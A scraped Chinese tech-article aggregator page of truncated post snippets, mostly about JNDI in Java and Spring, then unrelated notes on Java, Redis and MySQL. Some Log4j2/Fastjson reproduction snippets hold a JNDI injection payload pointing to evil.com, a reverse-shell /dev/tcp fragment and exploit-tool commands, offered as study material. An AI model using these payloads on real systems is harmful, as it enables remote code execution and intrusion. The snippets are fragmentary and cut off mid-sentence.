- Spring学习笔记——开篇
weixin_30699741
整体架构Spring核心容器Beans包含访问配置文件,通过Spring容器创建和管理Bean,进行依赖注入和控制反转操作相关所有类。Core包含Spring框架的基本核心工具类,Spring其它组件均需要使用该包,是其它组件的基本核心。Context为Spring核心提供扩展,能够找到使用SpringApplicationContext特性时需要的所有类;JNDI特性时需要的所有类;UI方面模板
- 如何跟踪log4j漏洞原理及发现绕WAF的tips
H_00c8
image.pnglog4j漏洞的形成原因已经有很多分析文章了,这里说一说我是如何在了解到有漏洞后,跟进漏洞产生原理的,以及发现的一些绕WAFtips跟进漏洞产生原因的思路如何发现漏洞产生原因的了解到log4j并不支持,基于这一点,可以做个简单的实验在这里插入图片描述空格和尖括号同样报错,就不重复截图了。回到前面提到的2.15.0-rc1版本对JndiManager#lookup方法的修复情况,并
- 036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入
wusuowei2986
安全java-eelog4j
036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入#知识点:1、JavaEE-组件安全-Log4j2、JavaEE-组件安全-Fastjson3、JavaEE-基本了解-JNDI-API演示案例:➢Java-三方组件-Log4J&JNDI➢Java-三方组件-FastJson&反射#Java-项目管理工具-配置Jar仓库:https://mvnre
- vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
余生有个小酒馆
vulhub漏洞复现apachelog4j安全
ApacheLog4j2是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入,执行任意代码。1.服务启动后,访问`http://your-ip:8983`即可查看到ApacheSolr的后台页面。2.`$
- mybatis datasource种类
我不是攻城狮
mybatismybatis
mybatis内置了三种数据源,分别是Pooled,Unpooled和JNDI,其中Pooled数据源是具有连接池的。开发场景下,通常使用以下几种数据源Hikari:性能快Druid:兼顾了性能和监控,综合C3P0:性能稍好,常用。
- Java J2EE中的依赖查找
入门小站
个人看法:设计依赖查找的设计模式,是为了解耦.单一类型依赖查找JNDIjavax.naming.Context#lookupJavaBeansjava.beans.beancontext.BeanContext集合类型依赖查找java.beans.beancontext.BeanContext#getCurrentServiceSelectors层析性依赖查找Springboot中使用JNDIJN
- 红队系列-网络安全知识锦囊
amingMM
网络安全-渗透测试web安全安全
网络安全免责声明法律科普学习资源网站靶场/CTF大佬博客笔记思维框图CTF/AWDAPT&&矩阵Web安全/渗透测试ToolsGolang工具FscanGolang工具ChYing信息收集注入攻击ToolsJNDIExploit反序列化ToolsYsoserial权限提升内网横向代理EWNPSproxychainsrakshasareGeorg权限ActiveDirectory域渗透CrackMa
- Spring +Mybaits+Spring Boot+Spring Cloud
奈斯。-
workspringjava后端
Spring组件:SpringCore:核心类库,提供IOC服务;SpringContext:提供框架式的Bean访问方式,以及企业级功能(JNDI、定时任务等);SpringAOP:AOP服务;SpringDAO:对JDBC的抽象,简化了数据访问异常的处理;SpringORM:对现有的ORM框架的支持;SpringWeb:提供了基本的面向web的总和特性,例如多方文件上传;SpringMVC:提
- Log4j2漏洞(二)3种方式复现反弹shell
大象只为你
跟我学网安知识log4j漏洞复现网络安全命令执行
★★免责声明★★文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。1、前言明天就是除夕了,提前祝大家:新年新气象,龙年龖龖!也祝愿自己2024年一切顺利!本文主要是分享log4j2反弹shell的3种方式,第一种方式【JNDI-Injection-Exploit】对jdk版本要求比较高,因此我在靶场
- 【Web】vulhub Fastjson反序列化漏洞复现学习笔记
Z3r4y
javajava反序列化fastjsonmarshalsecwebctfvulhub
目录1.2.24RCECVE-2017-18349复现流程原理分析1.2.47RCECNVD-2019-22238复现流程原理分析漏洞探测1.2.24RCECVE-2017-18349复现流程vulhub启动靶场用marshalsec启动LDAP/RMI服务java-cpmarshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServer"h
- log4j2远程代码执行漏洞复现
liangbo7
安全
目录描述:代码复现:执行结果:漏洞解决方案:描述:本次ApacheLog4j远程代码执行漏洞,正是由于组件存在JavaJNDI注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发ApacheLog4j2中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。代码复现:JDK:jdk1.8.0_191开发工具:ideaIU-2018.3.6.win远程代码下载服务器:n
- log4j2漏洞简单复现
h1dm
漏洞复现web安全javalog4j2jndi注入漏洞复现
文章目录0x1log4j2漏洞简介0x2log4j2漏洞验证判断0x3log4j2漏洞复现利用0x04log4j2漏洞修复方式0x1log4j2漏洞简介log4j2原理:log4j2框架下的lookup服务提供了{}字段解析的功能,传进入的值会被直接解析,jdni服务就会请求远程的服务链接到本地对象,比如rmi和ladp。这时候服务端只要在{}里面调用jndi服务,即可反弹shell到指定服务器中
- Log4j2漏洞复现
Lend me
log4j
Log4j2漏洞复现原理介绍因为Log4j2默认支持解析ldap/rmi协议,所以黑客只需构造恶意的JNDI接口,然后服务器通过log4j2解析jndi接口并调用lookup函数,使得服务器去引用黑客构造好的恶意类,从而达到getshell影响版本:log4j2.x&/dev/tcp/攻击机地址地址/攻击机端口号0>&1//由于docker容器里面没有nc,所以只能使用原生命令进行shell反弹3
- day09.2
士官长哦
各种软件版本的代号含义核心容器:核心容器提供Spring框架的基本功能。核心容器的主要组件是BeanFactory,它是工厂模式的实现。BeanFactory使用控制反转(IOC)模式将应用程序的配置和依赖性规范与实际的应用程序代码分开。Spring上下文:Spring上下文是一个配置文件,向Spring框架提供上下文信息。Spring上下文包括企业服务,例如JNDI、EJB、电子邮件、国际化、校
- Log4j2漏洞 CVE-2021-45046详情
无名·
笔记安全java开发语言
当前描述发现ApacheLog4j2.15.0中针对CVE-2021-44228的修复在某些非默认配置中不完整。当日志配置使用带有上下文查找(例如,$${ctx:loginId})或线程上下文映射模式(%X、%mdc或%MDC)使用JNDI查找模式制作恶意输入数据,从而导致拒绝服务(DOS)攻击。默认情况下,Log4j2.15.0尽最大努力将JNDILDAP查找限制为localhost。Log4j
- java ee面试题专家总结(必看),Java EE面试题专家总结(必看)
FromNowToNow
javaee面试题专家总结(必看)
JavaEE面试题第一部分:Servlet/JSP快速入门1.请列举至少6种javaEE技术,并简述其作用。解析:javaEE是一系列的技术,主要包扩13种。对于开发人员来说,了解几种主要的技术是非常必要的,例如JDBC、JSP、Servlet、XML、JNDI、JMS、JTA等。参考答案:(1)JDBC(JavaDatabaseConnectivity):用来访问数据库的API。(2)JavaS
- Log4j JNDI漏洞(Log4Shell)
AxisX
很久之前的一个核弹级漏洞,之前响应过程中没有写文章,最近有些遗忘,重新看了一下,顺手写下这篇文章。Log4jJNDI,CVE-2021-44228。Log4jLog4j是Java应用程序的日志记录工具。将log4j的jar包引入项目后,在项目中创建一个log4j.properties或log4j.xml配置文件,用于配置日志记录器的行为,例如输出日志的格式、级别、存储位置等。Log4j常用组件如下
- 【心得】java JNDI配合RMI实现注入个人笔记
Z3r4y
java笔记JNDIRMIJAVA安全安全
目录JNDIRMI基本概念RMI基本逻辑恶意利用JNDI注入+RMI实现攻击JNDIJavaNamingandDirectoryInterfaceJava命令和目录接口让配置参数和代码解耦的规范或者思想低耦合高内聚Name命名java对象通过命名绑定到容器环境java对象和一个特定的名称关联在一起Directory将一个对象的所有属性信息保存在一个容器环境RMI基本概念RemoteMethodIn
- log4j2漏洞综合利用_CVE-2021-44228_CNVD-2021-95919
LQxdp
log4jCVE-2021-44228CNVD-2021-95919rmildap
1.漏洞利用1.1.rmi利用1、在检测到目标存在log4j2漏洞后,确定漏洞参数,尝试接受目标rmi请求。成功接收到请求。出现JRMIK字样即代表可接受RMI请求。2、漏洞利用。使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar执行命令,反弹shell。java-jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-
- springboot2多数据源之JNDI方式,使用AOP切换数据源,tomcat的context.xml维护数据源信息
冒菜MaoCai
springBoot多数据源JNDIAOPspringboot
环境:springboot2tomcat8jdk1.8驱动及加密:com.alibaba.druid多数据源1、数据源枚举定义publicinterfaceDatasourceEnum{StringDATA_SOURCE="dataSource";//主数据源StringDATA_SOURCE_2="dataSource2";//其他业务的数据源StringDATA_SOURCE_3="dataS
- Spring中配置DataSource数据源的3种选择
mrjunwang
Spring中配置DataSource数据源的几种选择在Spring框架中有如下3种获得DataSource对象的方法:从JNDI获得DataSource.从第三方的连接池获得DataSource.使用DriverManagerDataSource获得DataSource.一、从JNDI获得DataSourceSpringJNDI数据源配置信息:java:comp/env/jcptDataSour
- SpringBoot 属性配置解析
Box_clf
SpringBoot源码解析springboot后端java属性配置解析
属性配置介绍spring官方提供的17中属性配置的方式Devtools全局配置测试环境@TestPropertySource注解测试环境properties属性命令行参数SPRING_APPLICATION_JSON属性ServletConfig初始化参数ServletContext初始化参数JNDI属性JAVA系统属性操作系统环境变量RandomValuePropertySource随机值属性j
- weblogic启动数据源报错
CopyLower
Javajavaweblogic
weblogic启动数据源报错当配置SqlConfig.xml下成“jndi”时,使用自身封装的sqlclient。在SqlClient.getConnection()时,程序报错:connection为刚访问完的一个数据源OracleDB,竟然不能创建另外一个连接uptel_login,报错内容如下:Causedby:java.sql.SQLException:Connectionhasalre
- Java:JPA中几种比较好的设置数据库连接事务隔离级别的方法
netyeaxi
JavaEEJavaJPAdatasource
在使用JPA时,有时候需要设置连接的事务隔离级别,以下几种方法可供参考。目录1).直接在DataSource上设置2).如果底层用的是Hibernate的实现3).如果底层用的是eclipseLink的实现1).直接在DataSource上设置DataSourcesource=(javax.sql.DataSource)jndiCntxt.lookup("java:comp/env/jdbc/my
- tomcat中应用JNDI配置DBCP连接池。
博风
中间件#TomcatDBPCtomcatJNDI连接池
目录一、tomcat/conf/context.xml中二、在tomcat/conf/server.xml中的GlobalNamingResources下三、总结:本文是对DBCP配置参数的说明与记录。一、tomcat/conf/context.xml中进行如下配置。调用时,通过JNDI名称进行调用。WEB-INF/web.xml-->-->//跟dbcp的区别是这里url-》jdbcUrlmax
- 快逸报表配置数据源的两种方式
暖男大海哥
java报表mysqljdbc
一、通过JDBC配置数据源hemei9jdbc:mysql://localhost:3306/hemeicom.mysql.jdbc.DriverrootrootGBKGBK二、通过JNDI配置数据源:JNDIPrefixdataSourcemysql_dataSource,mysql,GBK;
- log4j RCE漏洞原理分析及检测
诺浅
log4jlog4j漏洞
实现原理log4j支持使用表达式的形式打印日志,比如logger.info("systempropety:${sys:user.dir}");问题就在与表达式支持非常多样,其中有一个jndi就是今天的主题logger.info("systempropety:${jndi:schema://url}");jdk将从url指定的路径下载一段字节流,并将其反序列化为Java对象,作为jndi返回。反序列
- 金蝶Apusic应用服务器 loadTree JNDI注入漏洞
keepb1ue
漏洞复现web安全安全服务器
产品介绍金蝶Apusic是一款企业级应用服务器,支持JavaEE技术,适用于各种商业环境。漏洞概述由于金蝶Apusic应用服务器权限验证不当,使用较低JDK版本,导致攻击者可以向loadTree接口执行JNDI注入,远程加载恶意类,造成远程代码执行。资产测绘app.name=“Apusic金蝶天燕Server”漏洞复现测试POC:POST/appmonitor/protect/jndi/loadT
- wblogic中间件配置数据源
ZzzkiYoumi
中间件中间件oracle数据库dba数据库开发sql
配置数据源1.服务-数据源-配置-新建2.单机选一般数据源3.选择源名称、jndi名称、数据库类型4.选择驱动5.下一步6.输入连接串信息参考:格式二:jdbc:oracle:thin:@::数据库名称配置的sid7.测试配置,测试成功,下一步8.选择服务器关联,完成9.完成,应用使用JNDI即可10.激活修改
- Spring Boot Messaging中文文档
逆水行舟x
springbootspringboot后端java
本文为官方文档直译版本。原文链接SpringBootMessaging中文文档引言JMSActiveMQ"Classic"支持ActiveMQArtemis支持使用JNDIConnectionFactory发送消息接收消息AMQPRabbitMQ支持发送消息向流发送消息接收消息ApacheKafka支持发送消息接收消息KafkaStreams其他的Kafka属性使用嵌入式Kafka进行测试Apac
- JAVA基础
灵静志远
位运算加载Date字符串池覆盖
一、类的初始化顺序
1 (静态变量,静态代码块)-->(变量,初始化块)--> 构造器
同一括号里的,根据它们在程序中的顺序来决定。上面所述是同一类中。如果是继承的情况,那就在父类到子类交替初始化。
二、String
1 String a = "abc";
JAVA虚拟机首先在字符串池中查找是否已经存在了值为"abc"的对象,根
- keepalived实现redis主从高可用
bylijinnan
redis
方案说明
两台机器(称为A和B),以统一的VIP对外提供服务
1.正常情况下,A和B都启动,B会把A的数据同步过来(B is slave of A)
2.当A挂了后,VIP漂移到B;B的keepalived 通知redis 执行:slaveof no one,由B提供服务
3.当A起来后,VIP不切换,仍在B上面;而A的keepalived 通知redis 执行slaveof B,开始
- java文件操作大全
0624chenhong
java
最近在博客园看到一篇比较全面的文件操作文章,转过来留着。
http://www.cnblogs.com/zhuocheng/archive/2011/12/12/2285290.html
转自http://blog.sina.com.cn/s/blog_4a9f789a0100ik3p.html
一.获得控制台用户输入的信息
&nbs
- android学习任务
不懂事的小屁孩
工作
任务
完成情况 搞清楚带箭头的pupupwindows和不带的使用 已完成 熟练使用pupupwindows和alertdialog,并搞清楚两者的区别 已完成 熟练使用android的线程handler,并敲示例代码 进行中 了解游戏2048的流程,并完成其代码工作 进行中-差几个actionbar 研究一下android的动画效果,写一个实例 已完成 复习fragem
- zoom.js
换个号韩国红果果
oom
它的基于bootstrap 的
https://raw.github.com/twbs/bootstrap/master/js/transition.js transition.js模块引用顺序
<link rel="stylesheet" href="style/zoom.css">
<script src=&q
- 详解Oracle云操作系统Solaris 11.2
蓝儿唯美
Solaris
当Oracle发布Solaris 11时,它将自己的操作系统称为第一个面向云的操作系统。Oracle在发布Solaris 11.2时继续它以云为中心的基调。但是,这些说法没有告诉我们为什么Solaris是配得上云的。幸好,我们不需要等太久。Solaris11.2有4个重要的技术可以在一个有效的云实现中发挥重要作用:OpenStack、内核域、统一存档(UA)和弹性虚拟交换(EVS)。
- spring学习——springmvc(一)
a-john
springMVC
Spring MVC基于模型-视图-控制器(Model-View-Controller,MVC)实现,能够帮助我们构建像Spring框架那样灵活和松耦合的Web应用程序。
1,跟踪Spring MVC的请求
请求的第一站是Spring的DispatcherServlet。与大多数基于Java的Web框架一样,Spring MVC所有的请求都会通过一个前端控制器Servlet。前
- hdu4342 History repeat itself-------多校联合五
aijuans
数论
水题就不多说什么了。
#include<iostream>#include<cstdlib>#include<stdio.h>#define ll __int64using namespace std;int main(){ int t; ll n; scanf("%d",&t); while(t--)
- EJB和javabean的区别
asia007
beanejb
EJB不是一般的JavaBean,EJB是企业级JavaBean,EJB一共分为3种,实体Bean,消息Bean,会话Bean,书写EJB是需要遵循一定的规范的,具体规范你可以参考相关的资料.另外,要运行EJB,你需要相应的EJB容器,比如Weblogic,Jboss等,而JavaBean不需要,只需要安装Tomcat就可以了
1.EJB用于服务端应用开发, 而JavaBeans
- Struts的action和Result总结
百合不是茶
strutsAction配置Result配置
一:Action的配置详解:
下面是一个Struts中一个空的Struts.xml的配置文件
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
&quo
- 如何带好自已的团队
bijian1013
项目管理团队管理团队
在网上看到博客"
怎么才能让团队成员好好干活"的评论,觉得写的比较好。 原文如下: 我做团队管理有几年了吧,我和你分享一下我认为带好团队的几点:
1.诚信
对团队内成员,无论是技术研究、交流、问题探讨,要尽可能的保持一种诚信的态度,用心去做好,你的团队会感觉得到。 2.努力提
- Java代码混淆工具
sunjing
ProGuard
Open Source Obfuscators
ProGuard
http://java-source.net/open-source/obfuscators/proguardProGuard is a free Java class file shrinker and obfuscator. It can detect and remove unused classes, fields, m
- 【Redis三】基于Redis sentinel的自动failover主从复制
bit1129
redis
在第二篇中使用2.8.17搭建了主从复制,但是它存在Master单点问题,为了解决这个问题,Redis从2.6开始引入sentinel,用于监控和管理Redis的主从复制环境,进行自动failover,即Master挂了后,sentinel自动从从服务器选出一个Master使主从复制集群仍然可以工作,如果Master醒来再次加入集群,只能以从服务器的形式工作。
什么是Sentine
- 使用代理实现Hibernate Dao层自动事务
白糖_
DAOspringAOP框架Hibernate
都说spring利用AOP实现自动事务处理机制非常好,但在只有hibernate这个框架情况下,我们开启session、管理事务就往往很麻烦。
public void save(Object obj){
Session session = this.getSession();
Transaction tran = session.beginTransaction();
try
- maven3实战读书笔记
braveCS
maven3
Maven简介
是什么?
Is a software project management and comprehension tool.项目管理工具
是基于POM概念(工程对象模型)
[设计重复、编码重复、文档重复、构建重复,maven最大化消除了构建的重复]
[与XP:简单、交流与反馈;测试驱动开发、十分钟构建、持续集成、富有信息的工作区]
功能:
- 编程之美-子数组的最大乘积
bylijinnan
编程之美
public class MaxProduct {
/**
* 编程之美 子数组的最大乘积
* 题目: 给定一个长度为N的整数数组,只允许使用乘法,不能用除法,计算任意N-1个数的组合中乘积中最大的一组,并写出算法的时间复杂度。
* 以下程序对应书上两种方法,求得“乘积中最大的一组”的乘积——都是有溢出的可能的。
* 但按题目的意思,是要求得这个子数组,而不
- 读书笔记-2
chengxuyuancsdn
读书笔记
1、反射
2、oracle年-月-日 时-分-秒
3、oracle创建有参、无参函数
4、oracle行转列
5、Struts2拦截器
6、Filter过滤器(web.xml)
1、反射
(1)检查类的结构
在java.lang.reflect包里有3个类Field,Method,Constructor分别用于描述类的域、方法和构造器。
2、oracle年月日时分秒
s
- [求学与房地产]慎重选择IT培训学校
comsci
it
关于培训学校的教学和教师的问题,我们就不讨论了,我主要关心的是这个问题
培训学校的教学楼和宿舍的环境和稳定性问题
我们大家都知道,房子是一个比较昂贵的东西,特别是那种能够当教室的房子...
&nb
- RMAN配置中通道(CHANNEL)相关参数 PARALLELISM 、FILESPERSET的关系
daizj
oraclermanfilespersetPARALLELISM
RMAN配置中通道(CHANNEL)相关参数 PARALLELISM 、FILESPERSET的关系 转
PARALLELISM ---
我们还可以通过parallelism参数来指定同时"自动"创建多少个通道:
RMAN > configure device type disk parallelism 3 ;
表示启动三个通道,可以加快备份恢复的速度。
- 简单排序:冒泡排序
dieslrae
冒泡排序
public void bubbleSort(int[] array){
for(int i=1;i<array.length;i++){
for(int k=0;k<array.length-i;k++){
if(array[k] > array[k+1]){
- 初二上学期难记单词三
dcj3sjt126com
sciet
concert 音乐会
tonight 今晚
famous 有名的;著名的
song 歌曲
thousand 千
accident 事故;灾难
careless 粗心的,大意的
break 折断;断裂;破碎
heart 心(脏)
happen 偶尔发生,碰巧
tourist 旅游者;观光者
science (自然)科学
marry 结婚
subject 题目;
- I.安装Memcahce 1. 安装依赖包libevent Memcache需要安装libevent,所以安装前可能需要执行 Shell代码 收藏代码
dcj3sjt126com
redis
wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
make
前面3步应该没有问题,主要的问题是执行make的时候,出现了异常。
异常一:
make[2]: cc: Command not found
异常原因:没有安装g
- 并发容器
shuizhaosi888
并发容器
通过并发容器来改善同步容器的性能,同步容器将所有对容器状态的访问都串行化,来实现线程安全,这种方式严重降低并发性,当多个线程访问时,吞吐量严重降低。
并发容器ConcurrentHashMap
替代同步基于散列的Map,通过Lock控制。
&nb
- Spring Security(12)——Remember-Me功能
234390216
Spring SecurityRemember Me记住我
Remember-Me功能
目录
1.1 概述
1.2 基于简单加密token的方法
1.3 基于持久化token的方法
1.4 Remember-Me相关接口和实现
- 位运算
焦志广
位运算
一、位运算符C语言提供了六种位运算符:
& 按位与
| 按位或
^ 按位异或
~ 取反
<< 左移
>> 右移
1. 按位与运算 按位与运算符"&"是双目运算符。其功能是参与运算的两数各对应的二进位相与。只有对应的两个二进位均为1时,结果位才为1 ,否则为0。参与运算的数以补码方式出现。
例如:9&am
- nodejs 数据库连接 mongodb mysql
liguangsong
mongodbmysqlnode数据库连接
1.mysql 连接
package.json中dependencies加入
"mysql":"~2.7.0"
执行 npm install
在config 下创建文件 database.js
- java动态编译
olive6615
javaHotSpotjvm动态编译
在HotSpot虚拟机中,有两个技术是至关重要的,即动态编译(Dynamic compilation)和Profiling。
HotSpot是如何动态编译Javad的bytecode呢?Java bytecode是以解释方式被load到虚拟机的。HotSpot里有一个运行监视器,即Profile Monitor,专门监视
- Storm0.9.5的集群部署配置优化
roadrunners
优化storm.yaml
nimbus结点配置(storm.yaml)信息:
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional inf
- 101个MySQL 的调节和优化的提示
tomcat_oracle
mysql
1. 拥有足够的物理内存来把整个InnoDB文件加载到内存中——在内存中访问文件时的速度要比在硬盘中访问时快的多。 2. 不惜一切代价避免使用Swap交换分区 – 交换时是从硬盘读取的,它的速度很慢。 3. 使用电池供电的RAM(注:RAM即随机存储器)。 4. 使用高级的RAID(注:Redundant Arrays of Inexpensive Disks,即磁盘阵列
- zoj 3829 Known Notation(贪心)
阿尔萨斯
ZOJ
题目链接:zoj 3829 Known Notation
题目大意:给定一个不完整的后缀表达式,要求有2种不同操作,用尽量少的操作使得表达式完整。
解题思路:贪心,数字的个数要要保证比∗的个数多1,不够的话优先补在开头是最优的。然后遍历一遍字符串,碰到数字+1,碰到∗-1,保证数字的个数大于等1,如果不够减的话,可以和最后面的一个数字交换位置(用栈维护十分方便),因为添加和交换代价都是1